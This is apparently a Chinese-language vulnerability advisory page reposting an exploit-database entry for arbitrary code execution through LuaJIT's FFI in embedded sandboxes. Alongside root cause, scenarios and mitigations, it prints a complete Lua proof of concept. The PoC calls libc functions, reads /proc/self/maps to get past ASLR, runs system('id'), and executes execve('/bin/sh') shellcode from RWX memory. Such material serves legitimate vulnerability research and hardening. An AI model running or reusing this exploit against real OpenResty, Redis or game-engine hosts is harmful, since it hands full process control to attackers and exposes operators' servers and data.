[webapps] LuaJIT 2.1.1774638290 - Arbitrary Code Execution

未分配CVE

LuaJIT FFI未禁用导致任意代码执行

Critical · CVSS CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8)

📋 漏洞基础信息

CVE未分配CVE
漏洞类型沙箱逃逸/任意代码执行
受影响版本LuaJIT 2.1.1774638290(及FFI未禁用的所有2.1.x版本)
危害等级Critical · CVSS CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8)
发布日期2026-05-07
来源Exploit-DB 原文 ↗

🔬 漏洞根因

LuaJIT的FFI模块提供对libc函数(syscall、mmap、mprotect、system等)的无限制访问,在嵌入场景中未默认禁用FFI且未从沙箱环境中移除,攻击者可利用FFI调用系统函数实现任意代码执行。

🎯 攻击场景

1. 攻击者获取嵌入LuaJIT且暴露Lua脚本执行接口(如OpenResty、Redis EVAL、游戏引擎mod)的环境;2. 通过require('ffi')加载FFI模块;3. 使用ffi.cdef声明libc函数(mmap、syscall等);4. 调用ffi.C.system('id')执行任意系统命令;5. 或通过mmap分配RWX内存、ffi.copy写入shellcode、ffi.cast为函数指针后调用,实现shellcode执行。成功标志:命令输出回显或获得交互式shell。

💥 漏洞影响

攻击者可执行任意系统命令、运行shellcode、获得进程完整权限,导致服务器沦陷、数据泄露、持久化后门、以及横向移动。

⚔️ 原始 PoC

1. 加载ffi和bit库;2. 通过ffi.cdef声明getpid、syscall、system、mmap、munmap等C函数;3. 调用ffi.C.getpid()验证libc符号调用能力;4. 调用ffi.C.syscall(39)验证直接系统调用通道;5. 读取/proc/self/maps获取libc基址绕过ASLR;6. 调用ffi.C.system('id')执行系统命令;7. 构造x86-64 execve('/bin/sh') shellcode,通过mmap分配RWX内存,ffi.copy写入,ffi.cast为函数指针后调用,获得shell。

-- Exploit Title: LuaJIT 2.1.1774638290 - Arbitrary Code Execution 
-- Date: 2026-03-29
-- Exploit Author: TaurusOmar
-- Vendor Homepage: https://luajit.org/
-- Software Link: https://luajit.org/download.html
-- Version: LuaJIT 2.1.1774638290 (latest)
-- Tested on: Linux x86-64 (Arch Linux)


-- Description:
-- LuaJIT's Foreign Function Interface (FFI) provides unrestricted access
-- to native C functions including syscall(), mmap(), mprotect() and 
-- arbitrary shared library loading. When FFI is accessible to untrusted
-- Lua code in embedding scenarios (OpenResty, Redis, game engines, IoT),
-- an attacker can achieve arbitrary code execution with full process 
-- privileges including shellcode execution via mmap(RWX)+ffi.copy()+ffi.cast().
--
-- This affects any application embedding LuaJIT 2.1.x without explicitly
-- disabling FFI (-DLUAJIT_DISABLE_FFI) or removing it from the sandbox
-- environment before executing untrusted scripts.
--
-- Verified on LuaJIT 2.1.1774638290 (March 2026) — latest version.
--
-- Attack scenarios:
--   - OpenResty/Nginx with user-controlled Lua scripts
--   - Redis with exposed EVAL interface
--   - Game engines with Lua modding systems
--   - IoT devices with Lua scripting interface
--
-- Mitigation:
--   - Compile with -DLUAJIT_DISABLE_FFI
--   - Remove 'ffi' from sandbox environment table
--   - Apply OS-level restrictions: seccomp-bpf, AppArmor, namespaces

local ffi = require("ffi")
local bit = require("bit")

ffi.cdef[[
    int      getpid(void);
    long     syscall(long number, ...);
    int      system(const char *command);
    void    *mmap(void *addr, size_t length, int prot,
                  int flags, int fd, long offset);
    int      munmap(void *addr, size_t length);
]]

print("=" .. string.rep("=", 55))
print("  LuaJIT 2.1.x - FFI Unrestricted Syscall Access PoC")
print("=" .. string.rep("=", 55))

-- dlsym resolves libc symbols without restriction
local pid_libc = ffi.C.getpid()
print("\n[1] ffi.C.getpid() via dlsym: " .. pid_libc)

-- Direct kernel syscall channel (SYS_getpid = 39 x86-64)
local pid_sc = tonumber(ffi.C.syscall(39))
print("[2] syscall(39) direct:       " .. pid_sc)

if pid_libc == pid_sc then
    print("[+] Both channels confirmed active\n")
end

-- ASLR bypass via /proc/self/maps
local f = io.open("/proc/self/maps", "r")
for line in f:lines() do
    if line:find("libc.so") and line:find("r--p") then
        local base = tonumber("0x" .. line:match("^(%x+)"))
        print("[3] libc base (ASLR bypass): 0x" .. string.format("%x", base))
        break
    end
end
f:close()

-- Arbitrary command execution
print("[4] ffi.C.system('id'):")
ffi.C.system("id")

-- Shellcode execution via mmap(RWX)
print("\n[5] Shellcode execution via mmap(RWX):")
local PROT_RWX  = bit.bor(1, 2, 4)
local MAP_FLAGS = bit.bor(0x02, 0x20)

-- x86-64 execve("/bin/sh", NULL, NULL) - syscall 59
local shellcode =
    "\x48\x31\xd2"
    .. "\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00"
    .. "\x53"
    .. "\x48\x89\xe7"
    .. "\x48\x31\xf6"
    .. "\x48\x31\xc0"
    .. "\xb0\x3b"
    .. "\x0f\x05"

local mem = ffi.C.mmap(nil, 4096, PROT_RWX, MAP_FLAGS, -1, 0)
if ffi.cast("long", mem) ~= -1 then
    print("    RWX region: 0x" .. string.format("%x", ffi.cast("unsigned long", mem)))
    ffi.copy(mem, shellcode, #shellcode)
    print("    Shellcode written. Executing execve('/bin/sh')...")
    local fn = ffi.cast("void(*)(void)", mem)
    fn()
end

🔬 深度技术分析

1. 加载ffi和bit库;2. 通过ffi.cdef声明getpid、syscall、system、mmap、munmap等C函数;3. 调用ffi.C.getpid()验证libc符号调用能力;4. 调用ffi.C.syscall(39)验证直接系统调用通道;5. 读取/proc/self/maps获取libc基址绕过ASLR;6. 调用ffi.C.system('id')执行系统命令;7. 构造x86-64 execve('/bin/sh') shellcode,通过mmap分配RWX内存,ffi.copy写入,ffi.cast为函数指针后调用,获得shell。

🛡️ 修复建议

1. 编译时添加-DLUAJIT_DISABLE_FFI标志完全禁用FFI;2. 运行时在执行不可信脚本前从环境表中删除'ffi'模块;3. 应用OS级限制:seccomp-bpf、AppArmor、命名空间。无官方补丁版本。

📎 参考链接


⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-05-09 17:02 | 来源: Exploit-DB

[!] CONTACT_CHANNELS

如需商务合作、技术咨询或漏洞反馈,请通过以下离岸节点联系作者。

> PING_AUTHOR (@A1RedTeam)